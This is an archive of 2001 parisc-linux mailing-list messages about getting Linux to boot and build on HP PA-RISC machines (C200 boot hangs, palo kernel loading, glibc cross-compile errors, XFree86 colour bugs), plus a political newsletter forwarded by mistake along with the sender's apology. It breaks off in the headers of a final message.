	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA24641;
	Sat, 25 Aug 2001 00:04:16 -0600
In-Reply-To: Message from "Andrew Goldfinch" <andrew@isa.net.au> 
   of "Thu, 23 Aug 2001 23:37:01 +1000." <000801c12bd8$b1539620$a0952bcb@infectious> 
Xref: news.gmane.org gmane.linux.ports.parisc:11969

"Andrew Goldfinch" wrote:
> I just got one of these b180L hp boxes from a mate, and want to run =
> debian on it. Have you tried this? What is the status of Woody for RISC =
> on these boxes?

I haven't tried this recently (ie past 6 monthes or so) but others have
reported success. See the p-l mail archives at http://lists.parisc-linux.org

IIRC, there are some problems with PS/2 keyboard handling but those are mostly
fixed or have kernel patches posted in the mail archives.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hang on C200 after 'Set default PSW W bit to 0' in 0.9.2
Date: Sat, 25 Aug 2001 13:52:06 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20010825135206.A1049@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620413 24444 80.91.229.3 (22 Nov 2014 01:40:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 25 06:00:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C52C482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Aug 2001 06:00:29 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id OAA10759
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Aug 2001 14:00:26 +0200 (CEST)
Original-Received: (qmail 3129 invoked from network); 25 Aug 2001 11:52:08 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 25 Aug 2001 11:52:08 -0000
Original-Received: (qmail 3160 invoked by uid 500); 25 Aug 2001 11:52:06 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:11970

I just received my C200, 512 Mb, 9 Gb, Visualize FX-4 - all in all a
cool piece of equipment.

Next step: installing Linux.

So I downloaded the 0.9.2 iso from puffin, the md5sum was OK, I made a
CD, I could read that CD on my Intel linux box, all seemed fine.

The C200 did boot HPUX-10.2, so the hardware seemed functional.

So I entered my new CD and rebooted the C200. I set the clock, and typed
'BOOT SESCSI.2'. It found the CD, some messages about memory, then the
line

Set default PSW W bit to 0

and then nothing.

I know booting with a keyboard/mouse attached to the C200 would be
risky, but I don't think it should go wrong so early in the booting
process?

I tried to boot it without keyboard/mouse attached, but Minicom kept
saying it was 'offline', and I didn't get anything on the monitor
attached to the C200. I am suspecting this serial cable (do I need a 1:1
or an interlink serial cable? This is supposed to be a 1:1 one).

Could this be a firmware-matter? I looked into updating the firmware,
but I'll need some additional scsi-converter to connect my DDS-2 drive
to the external scsi-port, since there seems to be no other way to
update firmware.

Should there happen something after 'Set default PSW W bit to 0' with
this setup? Is the standard command-line of this image correct? I tried
changing it to 'sti=1' but that didn't make any difference....

Thanks,
Jurriaan
-- 
The Swedish Chef has been assimilated. "Borg borg borg!"
GNU/Linux 2.4.8-ac9 SMP/ReiserFS 2x1402 bogomips load av: 0.53 0.15 0.05




From - Thu Nov 08 21:18:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status: HP 9000/856, E55 Server with PA-Linux
Date: Sat, 25 Aug 2001 23:07:52 +0200
Organization: private
Lines: 38
Approved: news@gmane.org
Message-ID: <3B8813A8.ECA75408@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620413 24445 80.91.229.3 (22 Nov 2014 01:40:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:13 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	"MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 25 15:08:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5A6F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Aug 2001 15:08:00 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20010825210758.QNC15981.viefep11-int.chello.at@gmx.at>;
          Sat, 25 Aug 2001 23:07:58 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11971

Congratulations, PA Linux is frowing and growing .....

After this 3/4 year, I want to ask again, if there are
news concerning the support or even the documentation of
the proprietary HP machines, like e.g. the E55 Server (9000/856).

As you know from the list, I had success in booting Linux
on this E55 with a self written "PDC console device driver".
So it was possible to boot E55 as diskless machine. But
a "diskless server" is not the best....
But it worked even with login, etc....

For running Linux, only three devices are important to
activate (2 of them necessary, the 3rd is optional):
* MUX multi serial port (also for serial console,
	which I have work arounded with my PDC driver...)
* SCSI Devices
* optional: Parallel interface

I hope you can tell me, that there will be the support
or the documentation, so that I can write or help writing
drivers, if my spare time is enough and my skills will
be sufficient, ...

Please remail...

With friendly regards
	Christoph P.


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at





From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 - white pixel is blue
Date: Sun, 26 Aug 2001 00:56:04 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20010825225628.5C30B482A@dsl2.external.hp.com>
References: <200108210625.AAA20810@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620413 24448 80.91.229.3 (22 Nov 2014 01:40:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chuck Slivkoff <charles_slivkoff@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 25 16:56:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 5C30B482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Aug 2001 16:56:28 -0600 (MDT)
Original-Received: (qmail 24360 invoked by uid 0); 25 Aug 2001 22:56:26 -0000
Original-Received: from pd9040678.dip.t-dialin.net (HELO there) (217.4.6.120)
  by mail.gmx.net (mp005-rz3) with SMTP; 25 Aug 2001 22:56:26 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <200108210625.AAA20810@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11972

On Tuesday 21 August 2001 08:25, Grant Grundler wrote:
> Chuck Slivkoff wrote:
> > I just loaded the ISO on a 712/60 and setup XFree86 to use the fbdev
> > driver. It seems to be OK, with the exception that "white" is "blue".
>
> This sounds like a a bug.
> The ESIEE guys will be around tomorrow and I can ask them about it.

Hi,

I can confirm this behaviour now on my 715/64 too.

The only thing I recently changed on this machines was an upgrade to 
XFree 4.1.0-2 and nothing else. Furthermore, since this happens both
with an old kernel (2.4.0-32) and the recent kernel (2.4.9-pa5) I'm
assuming that it looks like a bug in the XFree86-fbdev driver.

Maybe someone on this list knows more, else I'll take a closer look at 
it tomorrow,

Helge




From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel building
Date: Sun, 26 Aug 2001 07:55:46 -0800 (AKDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108260741370.1919-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620413 24451 80.91.229.3 (22 Nov 2014 01:40:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:13 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 26 10:00:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4F69D482A
	for <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 10:00:46 -0600 (MDT)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GION5201.J5P for
          <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 08:00:39 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GION5300.P0B for <parisc-linux@parisc-linux.org>; Sun, 26 Aug
          2001 08:00:39 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id HAA13404
	for <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 07:55:46 -0800
Xref: news.gmane.org gmane.linux.ports.parisc:11973

I've been trying to get a newer kernel installed but am not having much
luck. Followed the directions on parisc-linux.org to build it, which have
worked fine, but for some reason the kernels refuse to boot. The palo
readme file says it should automagically boot when placed in the correct
location... My palo.conf had '2/vmlinux-2.4.0' as the boot kernel, which
I then changed to '2/vmlinux-2.4.9' (partition 2 is /boot once mounted),
ran palo (no errors, identified 2/vmlinux-2.4.9 as the new kernel),
rebooted - and I get the error that the system can't grok the kernel
executable format and then a 'failed to boot' message.

The earlier thread on whether or not 'make palo' was needed came to mind,
but since I was leaving it overnight to compile anyway I didn't care how
much time it took.

Got this same error a couple kernels ago (2.4.6?) and went back to 2.4.0,
since it wasn't really causing any problems. This is starting to get
irritating, though. The system is a 715/100, 128MB, 4.3G HD. Started as
0.9 and 'apt-get' upgraded to whatever's current now. I *did* have to
'apt-get install gcc', though - even though dselect said it was already
installed, the system couldn't find gcc, but the apt-get installed it as
if it wasn't there. Weird...

Anyway, any and all input appreciated!





From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building from scratch.
Date: Sun, 26 Aug 2001 16:27:54 -0400
Lines: 96
Approved: news@gmane.org
Message-ID: <20010826162754.A10072@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620414 24456 80.91.229.3 (22 Nov 2014 01:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 26 14:27:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88E0A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Aug 2001 14:27:10 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7QKp1X01130
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Aug 2001 16:51:01 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7QKRsd27250
	for parisc-linux@lists.parisc-linux.org; Sun, 26 Aug 2001 16:27:54 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (93% Sync Ratio [=========.])
Xref: news.gmane.org gmane.linux.ports.parisc:11974

Parisc'ers,

I was recently trying to build the toolchain from scractch on
an x86 box.

I've run into the following stumbling block:

a) glibc configure requires that I use "--enable-hacker-mode"

This really isn't documented, but It's not uncommon and I got around
it very quickly ;)

The second issue was:

b) Some strange asm problem while building glibc.

gcc ../sysdeps/unix/sysv/linux/hppa/sysdep.c -c -O2 -Wall -Winline -Wstrict=
-prototypes -Wwrite-strings -g      -I../include -I. -I/mnt/fatty/palinux/b=
uild/glibc/csu -I.. -I../libio  -I/mnt/fatty/palinux/build/glibc -I../sysde=
ps/hppa/elf -I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthread=
s/sysdeps/unix/sysv/linux -I../linuxthreads/sysdeps/pthread -I../linuxthrea=
ds/sysdeps/unix/sysv -I../linuxthreads/sysdeps/unix -I../linuxthreads/sysde=
ps/hppa -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I..=
/sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/u=
nix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../s=
ysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I=
../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/f=
pu -I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sys=
deps/generic   -D_LIBC_REENTRANT -include ../include/libc-symbols.h     -DH=
AVE_INITFINI -o /mnt/fatty/palinux/build/glibc/csu/sysdep.o
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c: In function `syscall':
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c:43: invalid register name `r28' =
for register variable
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c:44: invalid register name `r21' =
for register variable
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c:44: invalid register name `r22' =
for register variable
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c:44: invalid register name `r23' =
for register variable
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c:44: invalid register name `r24' =
for register variable
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c:44: invalid register name `r25' =
for register variable
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c:44: invalid register name `r26' =
for register variable
=2E./sysdeps/unix/sysv/linux/hppa/sysdep.c:45: Can't find a register in cla=
ss `GENERAL_REGS' while reloading `asm'.
make[2]: *** [/mnt/fatty/palinux/build/glibc/csu/sysdep.o] Error 1
make[2]: Leaving directory `/mnt/fatty/palinux/src/glibc/csu'
make[1]: *** [csu/subdir_lib] Error 2
make[1]: Leaving directory `/mnt/fatty/palinux/src/glibc'
make: *** [all] Error 2


Background:

I started by building the tools, as per the instructions on the website.

- Built binutils
- Partially build gcc
- Unpack and configure kernel
- Build glibc...

At which I'm stuck. My hppa bin directory has the following built tools:
(and is on my path)

gccbug                hppa-linux-cpp      hppa-linux-objdump
gcov                  hppa-linux-gasp     hppa-linux-ranlib
hppa-linux-addr2line  hppa-linux-gcc      hppa-linux-readelf
hppa-linux-ar         hppa-linux-ld       hppa-linux-size
hppa-linux-as         hppa-linux-nm       hppa-linux-strings
hppa-linux-c++filt    hppa-linux-objcopy  hppa-linux-strip

The configure for glibc does complain about:

[snip]
checking for hppa-linux-mig... (cached) mig
configure: warning:=20
*** An auxiliary program is missing or too old;
*** some features will be disabled.
*** Check the INSTALL file for required versions.
checking whether ranlib is necessary... (cached) no
[snip]

But continues on. I've met all the requirements in INSTALL, with=20
regards to tools and their versions.

Any clues?

Cheers,
Carlos.






From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Special Ranch Update: Sun 08.26.01 (fwd)
Date: Sun, 26 Aug 2001 15:58:40 -0800 (AKDT)
Lines: 126
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108261558360.13706-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416620414 24460 80.91.229.3 (22 Nov 2014 01:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:14 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 26 18:03:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A1CA482A
	for <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 18:03:38 -0600 (MDT)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GIP9HZ03.1GE for
          <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 16:03:35 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GIP9HZ00.12N for <parisc-linux@parisc-linux.org>; Sun, 26 Aug
          2001 16:03:35 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA23795
	for <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 15:58:40 -0800
Xref: news.gmane.org gmane.linux.ports.parisc:11975


---------- Forwarded message ----------
Date: Sun, 26 Aug 2001 16:23:40 -0700
From: Sierra Times.com <citizen@mindspring.com>
To: SierraTimes.com <sierratimesalert@involved.com>
Subject: Special Ranch Update: Sun 08.26.01

http://www.SierraTimes.com
Sierra Times Update
For Sun 08.26.01 16:30 Sierra Time
More news since this morning, and some announcements...
(This is a Special Alert - Please Read)

Klamath: Cop in Exile Speaks Out
(An interview with Lt. Jack Redfield)
Sean Finnegan - Sierra Times
http://www.sierratimes.com/archive/files/aug/26/arsf082601.htm

Jim Bell Sentenced To Ten Years In Prison and Lifelong Poverty
Sierra Times Exclusive
http://www.sierratimes.com/archive/files/aug/26/arex082601.htm

Coming: More from Klamath, and Tracie Sullivan on location to cover how the
Utah GOP votes to GET US OUT OF THE United Nations. Only at the News Ranch.

New Features Coming to at Sierra Times.com (Heads Up everyone!)

Introducing "18 Wheels at the News Ranch"
With Charlie Lightfoot
Welcome to a new feature here at the Ranch. We've corralled an old truck
driver with 20 years over-the-road experience to give us a trucker's view o=
f
all the goings on with the trucking industry in the U.S. So watch for
regular features from Charlie as he adds his own two cents to the hornet's
nest already stirred up by the feds.

 "18 Wheels at the News Ranch" is dedicated and produced by the Truckers,
and for the Truckers. To those that keep North America rolling, Thank you.
Your input is more than welcome.
http://www.sierratimes.com/18wheels.htm

Whack'em & Stack'em Updates
They say in America, there's so much shooting by police these days that you
need a 'score card' to keep track. So we've created one at Sierra Times.com=
=2E
The Whack'em & Stack'em White Paper has started a firestorm of information
and feedback coming in to the News Ranch - on a subject we've been covering
for a long time. We'll be updating this page as the 'hits' keep coming.
Check it out:
http://www.sierratimes.com/whacknstack.htm

Child Snatch and Sell News' - with Ray Thomas
You like Ray Thomas' Daily Nuggets? Bullcutter Weeklies? Well, he's adding =
a
new feature. "Child Snatch and Sell News'- only at Sierra Times.com

Is your government paying the local "authorities" to snatch your children o=
n
any pretext they can come up with and sell them? Think not? The "child
protectors" claim that child abuse is reaching epidemic proportions. It is
not. Only the numbers of "reports" they get are increasing and that's
because there is no penalty for making a false report under the "Good
Samaritan Laws."

Lawyers today routinely advise clients to allege child abuse through one of
their many "hot lines" because it can be anonymous and it will divert their
opponent's attention, and their money, from fighting the original
litigation. With no penalty for false reports, there's no price to pay, eve=
n
if they're caught. There's a (to the feds) good reason for them to do this
and we tell you what it is inside.
http://www.sierratimes.com/childsnatch.htm

Roadhouse Sierra News:
Helen Chenoweth-Hage said in her recent speech about Klamath Falls "Follow
the Money". So we did. Henrietta Bowman went on a rampage, which results in
a 5 part expose on "Klamath: Following the Money Trail" This Special Series
Starts Tuesday - only at Roadhouse Sierra.

Our Homeschool Gal, Charlene Sanders take on public education at a new
level - she's moving to the Roadhouse.

In Sierra Sue's Medicine Cabinet, an inside look at the Health Care
profession few people want to talk about in "Diary of a Hospice Nurse.

Nancy Johnson, back from a week of bed rest, is fired up again. She's be
back to the Legal Eagle's Nest with the "Why People Hate Lawyers" Series.
And it's only because J.J. doing nursing duty at home while working full
time, but the next installment of Online Sierra is coming!

One more note: The "Sierra Times Tradin' Post" Returns on September 1, 2001
(we know some of you missed that) Discounts for all Roadhouse Members!
Included in the ol' ranch store will be Sierra Times hats, shirts, mouse
pads and even coffee mugs. And of course, you'll need something to go in
those coffee mugs - so the world's most politically incorrect coffee -
'Sierra Negro Blend' and others will soon return to the News Ranch.


What allows us to bring you the most comprehensive Real News on the
Internet? Our Members. Memberships for Roadhouse Sierra keep this
entire site operating. It's less than a penny a day, and we've even made
signing up easier. Please help us keep the News Ranch going.
Drop on by for a look:
http://www.sierratimes.com/members.htm

Remember: This News Site is now updated 24 hours a day - everyday.
Climb on board...






SierraTimes.com
An Internet Publication for Real Americans.
=A92001 Sierra Times.com - All Rights Reserved
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
If you wish to Subscribe or Unsubscribe from this list or have a change of =
address, please go to our website at:

http://www.sierratimes.com/listmanager.htm





From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Whoops...
Date: Sun, 26 Aug 2001 17:47:24 -0800 (AKDT)
Lines: 8
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108261746390.13706-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620414 24471 80.91.229.3 (22 Nov 2014 01:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:14 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 26 19:52:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36BF3482A
	for <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 19:52:22 -0600 (MDT)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GIPEJ702.UID for
          <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 17:52:19 -0800 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GIPEJ600.V33 for <parisc-linux@parisc-linux.org>; Sun, 26 Aug
          2001 17:52:18 -0800 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA25571
	for <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 17:47:24 -0800
Xref: news.gmane.org gmane.linux.ports.parisc:11976

My apologies - I mistyped an address entry and ended up sending the Sierra
Times entry to the list instead of a test account on my 715/100.

Me bad :-(





From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Whoops...
Followup-To: gmane.linux.ports.hppa
Date: Mon, 27 Aug 2001 11:26:00 +0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20010827112558.V16220@neep.com.au>
References: <Pine.LNX.4.33.0108261746390.13706-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620415 24474 80.91.229.3 (22 Nov 2014 01:40:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:15 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 26 21:26:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from syncopation-03.iinet.net.au (syncopation-03.iinet.net.au [203.59.3.19])
	by dsl2.external.hp.com (Postfix) with SMTP id 36A1B482A
	for <parisc-linux@parisc-linux.org>; Sun, 26 Aug 2001 21:26:19 -0600 (MDT)
Original-Received: (qmail 7797 invoked by uid 666); 27 Aug 2001 03:26:14 -0000
Original-Received: from i180-190.nv.iinet.net.au (HELO guinness.internal.neep.com.au) (203.59.180.190)
  by 0 with SMTP; 27 Aug 2001 03:26:14 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id LAA25741
	for parisc-linux@parisc-linux.org; Mon, 27 Aug 2001 11:26:05 +0800
Mail-Followup-To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0108261746390.13706-100000@goliath.alaskatech.org>; from tom@alaskatech.org on Sun, Aug 26, 2001 at 05:47:24PM -0800
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11977

Quoth Tom:
> My apologies - I mistyped an address entry and ended up sending the Sierra
> Times entry to the list instead of a test account on my 715/100.
> 
> Me bad :-(

It was - um - interesting.  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
